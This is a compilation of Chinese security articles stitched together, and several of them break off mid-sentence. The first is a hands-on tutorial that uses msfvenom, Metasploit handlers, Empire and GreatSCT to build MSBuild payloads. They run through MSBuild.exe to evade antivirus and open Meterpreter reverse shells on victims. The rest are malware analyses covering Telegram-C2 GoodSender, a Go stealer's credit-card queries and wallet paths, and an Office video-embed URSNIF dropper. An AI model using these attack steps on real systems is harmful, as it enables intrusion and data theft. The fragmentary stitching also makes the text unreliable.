1.MSbuild.exe简介

2.使用Msfvenom生成CSharp文件

3.利用MSbuild生成XML文件

4.Nps_payload脚本

5.Powershell

6.GreatSCT

MSbuild.exe简介

 Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过 在项目或解决方案文件上调用  msbuild.exe,您可以在未安装Visual Studio的环境中组织和构建产品。Visual Studio使用MSBuild加载和构建托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代码。

使用Msfvenom生成CSharp文件

 我们使用Microsoft VisualStudio创建以MSBuild格式保存的、带有*.csproj后缀的C#代码,以便可以使用MSBuild平台将其编译为可执行程序。借助于一个恶意的构建的过程,我们可以获得受害者计算机的反向shell。接下来,我们要生成file.csproj文件,为此,首先需要通过msfvenom生成一个基于C#的shellcode。之后,将该shellcode放入我们的file.csproj中,具体如下所示。

 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

1.png上面的shellcode放入xml文件中,并且,我们可以从github下载这个xml文件,其中存放MSBuild要编译和执行的代码。该xml文件应另存为file.csproj ,所这样,必须通过MSBuild运行file.csproj才能生成Meterpreter会话。 注意:要替换C#shellcode中shellcode的值,然后,将buf重命名为shellcode,如下图所示。
2.png我们可以从Visual Studio或从命令行窗口中运行MSBuild。通过Visual Studio,不仅可以编译应用程序,同时,还能指定编译后的代码适用于哪个版本的.NET Framework 。例如,同一个应用程序源代码,既可以编译为适用于32位平台上的.NET Framework2.0环境中的程序,也可以让编译好的代码运行于64位平台上的.NET Framework4.5环境。现在启动multi/handler以获取Meterpreter会话,并在目标路径C:\Windows\Microsoft.NET\fr amework\v4.0.30319中使用msbuild.exe运行file.csproj文件,具体如下所示。

3.png

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

这样就得到了meterpreter会话,如下所示:
4.png

利用MSbuild生成XML文件

如上所述,MSBuild使用了一种基于xml的项目文件格式,这种格式不仅简单易懂,并且易于扩展,因此,我们可以将上面生成的file.csproj重命名为file.xml,然后,再次使用msbuild.exe在目标路径C:\Windows\Microsoft.Net\fr amework\v4.0.30319上运行file.xml文件,具体如图所示。

 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml

5.png

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

我们这样就得到了受害者的meterpreter会话,如下所示:
6.png

Nps_Payload脚本

该脚本用于生成绕过入侵检测的payload。当然,这里用到了多种已经公开的技术。该脚本是由Larry Spohn(@_Spoonman1091)撰写的,但是Payload则是由Ben Mauch(@_Ben0xA)编写的。该脚本可以从github下载。Nps_payload能够生成可以通过msbuild.exe和mshta.exe执行的payload,以通过meterpreter会话获取受害者计算机的反向连接。 我们可以按照以下步骤来生成payload:1从github下载nps payload后,运行./nps_payload.py脚本。2.按1,选择任务“generatemsbuild/nps/msf”3.再次按1,选择payload“windows/meterpreter/reverse_tcp”这样一来,将在xml文件中生成payload,然后从目标位置C:\Windows\Microsoft.Net\fr amework\v4.0.30319发送该文件,具体如前所述,同时,在新终端中运行以下命令以启动侦听器。

msfconsole -r msbuld_nps.rc

7.png重复上面的步骤,在命令提示符下执行msbuild_nps.xm l,并通过Meterpreter获得反向连接,具体如下所示:

C:\Windows\Microsoft.NET\fr amework\v4.0.30319\MSBuild.exemsbuild_nps.xml

8.png

PowerShell Empire

 接下来,我们将为读者介绍另一种针对Msbuild的攻击方法,为此,我们需要用到empire。实际上,Empire是一个后续利用框架。关于Empire的使用指南,请访问下面的文章:<https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/>启动Empipre框架后,请键入listener命令,以检查是否存在处于活动状态的侦听器。正如您在下面的图像中看到的,这里并没有处于活动状态的侦听器。因此,我们需要设置一个侦听器,具体命令如下所示:

listeners
uselistner http
set Host http://192.168.1.107
execute

使用上述命令,您将拥有一个活动的侦听器。键入back以退出侦听器,以便您可以启动PowerShell。对于我们的MSBuild攻击,我们将使用stager。

usestager windows/launcher_xml
set listener http
execute

UseStager将创建一个恶意代码文件,该文件将保存在/tmp目录下面名为launcher.xml的文件中。
9.png一旦该文件被运行,我们就能在侦听器上看到相应的运行结果。为了在受害者机器上面运行该文件,需要执行下列命令:

cd C:\Windows\Microsoft.NET\framework\v4.0.30319\
MSBuild.exe launcher.xml

10.png要查看是否有会话已打开,请键入“agents”。这样,将显示我们拥有的会话的名称列表。若要访问某会话,可以使用如下所示的命令:

interact A8H14C7L

上面的命令将授予您对指定会话的访问权限。

sysinfoinfo

11.png

GreatSCT

GreatSCT是一个允许您使用Metasploit漏洞并允许它绕过大多数反病毒的工具。GreatSCT其下载地址为:  <https://github.com/GreatSCT/GreatSCT>下载并运行该软件后,可以通过以下命令来访问各个功能模块:

use Bypass

12.png现在,我们来查看payload的类型列表,具体命令如下所示:

13.png这样,我们就可以根据攻击目标,来选择相应的payload了。我们需要键入以下命令:

use msbuild/meterpreter/rev_tcp.py

14.png输入以下命令:

set lhost 192.168.1.107
generate

15.png当生成payload时,会要求为其指定一个名称。默认情况下,它将使用“payload”进行命名。不过,这里将msbuild指定为该payload的名称,输出代码将保存在xml中。 
16.png现在,它生成了两个文件。一个是metasploit的RC文件,另一个是msbuild.xml文件。 接下来,我们需要在/usr/share/greatsct-output/source目录中输入以下命令,以便启动Python服务器:

python -m SimpleHTTPServer 80

17.png受害者的机器运行该文件:

cd C:\Windows\Microsoft.NET\fr amework\v4.0.30319\
MSBuild.exe msbuild.xml

18.png启动multi/handler。键入下列命令:

msfconsole -r/usr/share/greatsct-output/handlers/payload.rc

获得了一个Meterpreter会话。
19.png*参考来源:forcepoint,由周大涛编译,转载请注明来自FreeBuf.COM

我们一直在关注攻击者绕过保护措施的方法。最近一项调查我们研究了Telegram加密消息服务作为恶意软件的命令和控制(C2)基础架构的用法。使用Telegram作为C2通道的恶意软件通常使用Telegram Bot API进行通信。

在调查的过程中,我们发现Telegram处理通过其Bot API发送的消息的方式存在重大缺陷。由于Bot API的工作原理,所有过去的机器人消息都可以被能够拦截和解密HTTPS流量的攻击者重放。实际上,这可以为对手提供目标机器人发送或接收的所有消息的完整历史记录。这通常包括常规人类用户之间的消息,因为机器人经常与他们共享群组聊天。

获取Telegram C2消息的访问权限

Telegram使用其内部MTProto加密来保护常规用户之间的消息,因为它认为TLS本身对于加密的消息传递应用程序来说不够安全。但是,这不适用于使用Telegram Bot API的程序,因为以这种方式发送的消息仅受HTTPS层保护,还有,任何能够获得在每条消息中传输的一些关键信息的攻击者不仅可以窥探传输中的消息,还可以恢复目标bot的完整消息传递历史记录。其中一个关键信息是bot API令牌,它将所有消息嵌入。

因此,对目标的HTTPS连接上执行MiTM的对手获取此数据是微不足道的。另一个关键部分是随机生成的Telegram chat_id。在单个聊天的情况下,这是用户自己的唯一ID,而群组聊天在创建时生成他们自己的chat_id。但是,此信息也会在任何Bot API请求中发送,因为bot需要知道要向哪个用户或组聊天发送信息。

配备这些信息,可以从Telegram Bot API调用许多方法。在我们的例子中,forwardMessage()方法特别有用,因为它允许给定的bot有权将来自任何聊天的任何消息转发给任意Telegram用户。要做到这一点,我们需要API令牌和’源’chat_id(从bot先前发送的消息中提取,或者在恶意软件中从自身提取)以及’目标’chat_id(这是我们自己的用户ID),最后是我们想要转发的消息ID。

对我们来说幸运的是,message_id从0开始增长,因此一个简单的Python脚本可以转发所有已发送到机器人当前所属的Telegram聊天的消息。

GoodSender

有问题的恶意软件是一个相当简单的.NET恶意软件,运营商称之为’GoodSender’并使用Telegram作为C2。它以相当简单的方式运行:一旦删除恶意软件,它就会创建一个新的管理员用户并启用远程桌面,并确保它不被防火墙阻止。新管理员用户的用户名是静态的,但密码是随机生成的。所有这些信息(受害者的用户名,密码和IP地址)都通过电报网络发送给操作员,从而使操作员可以通过RDP访问受害者的计算机。

1.png

图1 – 构建Telegram Bot URL的GoodSender代码

2.png

图2 – Telegram Bot的配置文件屏幕

活动时间表

该攻击者最初使用Telegram bot来处理他正在开发的另一件恶意软件。这个早期的恶意软件被称为“RTLBot”,并且在几个月的时间里,他在放弃开发之前添加了许多其他功能,转而开发上文提及的恶意软件“GoodSender”。下面的时间线和所包含的屏幕截图的详细信息是从恶意软件的历史C2通信中一点一点找出来的。

1.2018年2月4日 – bot机器人上线啦。

2.2018年2月18日 – 开始将Telegram C2功能整合到RTLBot中,并将开发转移到Telegram上。

3.2018年2月20日 – 攻击者将他的基础设施从他的个人计算机移到AWS(亚马逊网络服务)上。

4.2018年4月1日 – GoodSender开始传播并发送第一个受害者信息。

5.2018年6月6日 – 攻击者租用另一个VPS作为bot代理。

6.2018年7月5日 –  GoodSender发送其最后的真实受害者信息。

7.2018年9月29日 –  GoodSender发送其最后一次测试受害者信息。

2018年11月23日,攻击者将相同的机器人API密钥和C2频道合并到一个工具中,该工具似乎从Instagram帐户收集信息。在将API密钥和通道更改为“production”值之前,似乎该通道可用于测试机器人。

3.png

图3 – 显然是作者的开发机器的截图,由bot上传到Telegram频道

4.png

图4 – 作者开发环境的另一个屏幕截图,显示了2018年6月6日首次观察到的新代理

虽然我们没有发现攻击者释放恶意软件的攻击媒介的明确目的,但是一些线索表明他使用EternalBlue漏洞将恶意软件释放在未打补丁的机器上:

1.他大量使用名为“EternalBlues”的免费EternalBlue漏洞扫描程序;

2.他有一份扫描的美国和越南知识产权清单,这些知识产权易受EternalBlue攻击,然后他用来感染他的一些受害者。

根据我们的调查,GoodSender已经感染了至少120名受害者,主要是在美国。

5.png

图5 – 基于GeoIP信息的GoodSender受害者的红热/蓝冷热图

6.png

总的来说

在我们以往的案例研究中,这种用于重放消息的特定技术被用于发现攻击者,但它如今可能被用于使用Telegram Bot API的合法应用程序。

尽管Telegram被宣传为“安全消息传递应用程序”并且在正常聊天期间使用比TLS更高的理论保证的加密方案,但是bot使用传统的TLS来加密传输中的数据。因此,具有解密TLS能力的MitM位置的攻击者可以获得对bot令牌以及chat_id的访问,这不仅导致当前通信的完全妥协,而且还影响机器人所参与的所有先前通信。

因此,freebuf小编建议所有用户避免使用Telegram机器人以及避免使用机器人的频道和组。

IOCs (GoodSender)

943eceb00ea52948c30deab1d5824ffcf2fd1cec

*参考来源:forcepoint,由周大涛编译,转载请注明来自FreeBuf.COM

Golang (Go)是一种相对较新的编程语言,发现其编写的恶意软件并不常见。 然而,用Go编写的新变种正在慢慢出现,这给恶意软件分析人员带来了挑战。 使用这种语言编写的应用程序体积较大,在调试器下看起来与使用其他语言(如C / C ++)编译的应用程序有很大不同。

最近,我们观察到一种新的Zebocry恶意软件变种,用Go编写(详细分析可在

这些路径指向从浏览器存储的数据。一个有趣的事实是其中一条路径指向Yandex浏览器,该浏览器主要在俄罗斯流行。下一个搜索的路径"C:\Users\tester\Desktop\*"找到的所有文件都复制到在%APPDATA%中创建的一个文件夹中:1.png“Desktop”文件夹包含从桌面及其子文件夹复制的所有TXT文件。 我们的测试机器示例:2.png搜索完成后,文件被压缩:3.png我们可以看到这个数据包被发送到C&C服务器(cu23880.tmweb.ru/landing.php):4.png内在Golang编译的二进制文件通常比较大,所以样本采用UPX打包来压缩并不奇怪。 我们将其脱壳。就得到了简单的Go二进制文件。导出表显示了编译路径和一些其他有趣的函数:5.png看看这些导出的数据,我们可以了解其内部使用的静态库。其中许多函数(与trampoline有关)可以在模块sqlite-3中找到:< https://github.com/mattn/go-sqlite3/blob/master/callback.go>。函数crosscall2来自Go运行时,它与从C/C++应用程序调用Go相关( https://golang.org/src/cmd/cgo/out.go)。

工具

为了分析,我使用了IDA Pro以及George Zaytsev编写的脚本首先,我们需要确定Golang版本(该脚本提供了一些有用的启发式)。在这种情况下,它将是Go 1.2。然后,我们可以重命名函数并添加标准的Go类型。完成这些操作后,代码看起来更具可读性。下面,您可以看到使用脚本之前和之后的函数视图。之前(仅导出的函数被命名):7.png之后(大多数函数都自动解析并添加了它们的名称):8.png其中许多功能来自静态链接库。因此,我们需要主要关注注释为main_*- 特定于特定可执行文件的函数。9.png

代码概述

在函数“main_init”中,我们可以看到将在应用程序中使用的模块:

10.png它与以下模块静态链接:

GRequests(https://github.com/levigross/grequests

go-sqlite3(https://github.com/mattn/go-sqlite3

尝试(https://github.com/manucorporat/try)分析此功能可以帮助我们预测功能; 即查看上面的库,我们可以看到它们将通过网络进行通信,读取SQLite3数据库并抛出异常。其他初始化器建议使用正则表达式,zip格式和读取环境变量。此函数还负责初始化和映射字符串。我们可以看到其中一些是第一个base64解码的: 

11.png

在字符串初始化中,我们看到对加密货币钱包的引用。Ethereum:

12.png

Monero:

13.png

Golang二进制文件的主要功能是注释“main_main”。 

14.png

在这里,我们可以看到应用程序正在创建一个新目录(使用函数os.Mkdir)。这是将要复制(找到的)文件的目录。之后,有几个Goroutine已经开始使用runtime.newproc。(Goroutines可以像线程一样使用,但它们的管理方式不同。更多细节可以在

盗取了什么?

要查看攻击者究竟对哪些数据感兴趣,我们可以更详细地了解执行SQL查询的函数,并查看相关字符串。Golang中的字符串以连续形式存储在批量中:

16.png

之后,根据需要检索来自此批量的单个块。因此,看看每个字符串被引用的代码中的哪个位置并不容易。下面是代码中打开“sqlite3”数据库的片段(检索长度为7的字符串): 

17.png

另一个例子:通过给定的偏移量和长度,从完整的字符串块中检索此查询:

18.png

我们来看看这些查询试图获取的数据。获取调用引用的字符串,我们可以检索并列出所有字符串:

select name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id FROM credit_cards
select * FROM autofill_profiles
select email FROM autofill_profile_emails
select number FROM autofill_profile_phone
select first_name, middle_name, last_name, full_name FROM autofill_profile_names

我们可以看到浏览器的cookie数据库被查询与在线交易相关的数据:信用卡号,到期日以及姓名和电子邮件地址等个人数据。所有搜索的文件的路径都存储为base64字符串。其中许多与加密货币钱包有关,但我们也可以找到对Telegram的引用。

Software\\Classes\\tdesktop.tg\\shell\\open\\command
\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\
\\AppData\\Roaming\\Electrum\\wallets\\default_wallet
\\AppData\\Local\\Torch\\User Data\\
\\AppData\\Local\\Uran\\User Data\\
\\AppData\\Roaming\\Opera Software\\
\\AppData\\Local\\Comodo\\User Data\\
\\AppData\\Local\\Chromium\\User Data\\
\\AppData\\Local\\Chromodo\\User Data\\
\\AppData\\Local\\Kometa\\User Data\\
\\AppData\\Local\\K-Melon\\User Data\\
\\AppData\\Local\\Orbitum\\User Data\\
\\AppData\\Local\\Maxthon3\\User Data\\
\\AppData\\Local\\Nichrome\\User Data\\
\\AppData\\Local\\Vivaldi\\User Data\\
\\AppData\\Roaming\\BBQCoin\\wallet.dat
\\AppData\\Roaming\\Bitcoin\\wallet.dat
\\AppData\\Roaming\\Ethereum\\keystore
\\AppData\\Roaming\\Exodus\\seed.seco
\\AppData\\Roaming\\Franko\\wallet.dat
\\AppData\\Roaming\\IOCoin\\wallet.dat
\\AppData\\Roaming\\Ixcoin\\wallet.dat
\\AppData\\Roaming\\Mincoin\\wallet.dat
\\AppData\\Roaming\\YACoin\\wallet.dat
\\AppData\\Roaming\\Zcash\\wallet.dat
\\AppData\\Roaming\\devcoin\\wallet.dat

总结

此恶意软件中使用的一些概念提醒我们,例如Evrial,PredatorTheThief和Vidar。它有类似的目标,并将被盗数据作为ZIP文件发送给C&C。但是,没有证据证明这个窃取者的作者与这些案件有某种联系。当我们看一下这个恶意软件的实现和功能时,它相当简单。它的大尺寸来自许多静态编译的模块。可能这个恶意软件还处于开发的早期阶段 – 作者可能刚刚开始学习Go并正在进行实验。我们将密切关注其发展。

起初,分析Golang编译的应用程序可能会感到压倒性,因为它具有庞大的代码库和不熟悉的结构。但是在适当的工具的帮助下,安全研究人员可以轻松地在这个迷宫中导航,因为所有的功能都被贴上标签。由于Golang是一种相对较新的编程语言,我们可以预期分析它的工具会随着时间的推移而成熟。用恶意软件写出威胁发展的新兴趋势吗?这有点太早了。但我们知道,用新语言编写的恶意软件的意识对我们的freehuf的读者来说非常重要。

*参考来源:malwarebytes,由周大涛编译,转载请注明来自FreeBuf.COM

10月底,Cymulate的安全研究人员公布了利用office在线视频特征逻辑漏洞来传播恶意软件的POC。最近,研究人员发现一款利用该漏洞传播URSNIF信息窃取器的在野样本。

什么是恶意软件的感染媒介? 

因为这类攻击中使用了刻意伪造的word文档,研究人员假设可以通过其他恶意软件或垃圾邮件中的附件、链接到达用户系统。该漏洞影响Microsoft Word 2013及更高版本。PoC和恶意软件使用Microsoft Word中使用的DOCX文件类型,这是一种可扩展标记语言(XML)文件,可以包含文本,对象,样式,格式和图像。它们存储为单独的文件,并打包在ZIP压缩/存档的DOCX文件中。 

1.jpgPoC和野外恶意软件如何工作?

PoC和野外样本滥用了Microsoft Office在线视频嵌入功能中的逻辑错误,该功能允许用户从外部来源(如YouTube和其他类似媒体平台)嵌入在线视频。PoC是通过在文档中嵌入在线视频然后修改文档包中的XML文件来完成的。如Cymulate所示,它涉及:

修改文档的文件扩展名(DOCX到ZIP)。

提取文档存档中的文件。

在XML文件中定位标记(embeddedHtml),可以附加恶意脚本或URL。请注意,一旦修改了embeddedHtml参数下的URL ,它就会在单击文档内部视频帧的任何位置后自动将用户重定向到指定URL。

通过修改embeddedHtml中的脚本来初始化和部署payload。仔细研究一下野外样本,可以看出它只是修改了在src参数下编写的URL ,将其替换为一个包含在成功重定向时加载和运行的脚本的Pastebin URL。反过来,该脚本访问另一个恶意URL以下载并执行URSNIF恶意软件的版本。 

2.jpg

PoC与在野恶意软件有何不同

PoC使用的是

图3:IE下载管理器询问用户运行或保存可执行文件

总结

目前还没有为该漏洞分配CVE编号。用户可以拦截XML文件中含有embeddedHtml tag的文档或关闭嵌入视频的文档。因为URL是可修改的,所以恶意软件可能会给用户和企业传播不同的恶意软件。

IoC哈希值(SHA-256):

03634e2eab2f61ab1d7359c4038c7042f7eb294d9d5c855560468b8824702c47 — TROJ_EXPLOIT.AOOCAI

d01b6f839b233ce9d6834a58d9d832ad824b73dd3dd1f399639fe5326faf783b — TSPY_URSNIF.OIBEAO

相关恶意URL:

hxxp://wetnosesandwhiskers[.]com/driverfix30e45vers[.]exe

*参考来源:trendmicro,由周大涛编译,转载请注明来自FreeBuf.COM